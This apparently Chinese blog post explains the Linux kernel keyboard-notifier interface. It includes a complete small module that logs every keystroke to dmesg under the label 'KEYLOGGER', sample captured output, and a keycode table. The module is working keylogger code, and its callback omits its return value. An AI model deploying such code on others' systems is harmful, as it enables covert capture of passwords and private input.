文章目录

内核存在这种能够hook keyboard event的内核模块接口。
使用notifier_block向notification队列注册方法。
该接口在linux内核驱动中,盲人设备的驱动就使用了该接口,具体可参考文件
linux/drivers/accessibility/braille/braille_console.c

这里只是给出了个使用实例,以供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/keyboard.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Monkee");

int key_notify(struct notifier_block *nblock, unsigned long code, void *__param){
struct keyboard_notifier_param *param = __param;
struct vc_data *vc = param->vc;

int ret = NOTIFY_OK;
if(code == KBD_KEYCODE){
printk(KERN_DEBUG "KEYLOGGER %i %s\n",param->value,(param->down ? "down" : "up"));
}
}

static struct notifier_block nb = {
.notifier_call = key_notify
};

static int keyboard_init(void)
{

register_keyboard_notifier(&nb);
return 0;
}

static void keyboard_exit(void)
{

unregister_keyboard_notifier(&nb);
}

module_init(keyboard_init);
module_exit(keyboard_exit);

加载驱动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# insmod keyboard.ko
# dmesg | tail -20
[216201.550997] KEYLOGGER 103 up
[216206.363063] KEYLOGGER 105 down
[216206.437957] KEYLOGGER 105 up
[216206.538061] KEYLOGGER 105 down
[216206.607156] KEYLOGGER 105 up
[216211.548919] KEYLOGGER 12 down
[216211.619961] KEYLOGGER 12 up
[216213.065969] KEYLOGGER 28 down
[216213.137859] KEYLOGGER 28 up
[216218.750149] KEYLOGGER 103 down
[216218.822130] KEYLOGGER 103 up
[216219.951923] KEYLOGGER 105 down
[216220.019726] KEYLOGGER 105 up
[216220.716426] KEYLOGGER 105 down
[216220.782454] KEYLOGGER 105 up
[216222.020744] KEYLOGGER 3 down
[216222.167673] KEYLOGGER 3 up
[216223.508625] KEYLOGGER 111 down
[216223.613600] KEYLOGGER 111 up
[216224.179975] KEYLOGGER 28 down
# rmmod keyboard

关于上述键值表示的含义定义在文件linux/input.h中,博主懒,上述代码就没对其进行处理了…

1
2
3
4
5
6
7
8
9
10
11
12
13
#define KEY_RESERVED		0
#define KEY_ESC 1
#define KEY_1 2
#define KEY_2 3
#define KEY_3 4
#define KEY_4 5
#define KEY_5 6
#define KEY_6 7
#define KEY_7 8
#define KEY_8 9
#define KEY_9 10
#define KEY_0 11
...

参考:

文章目录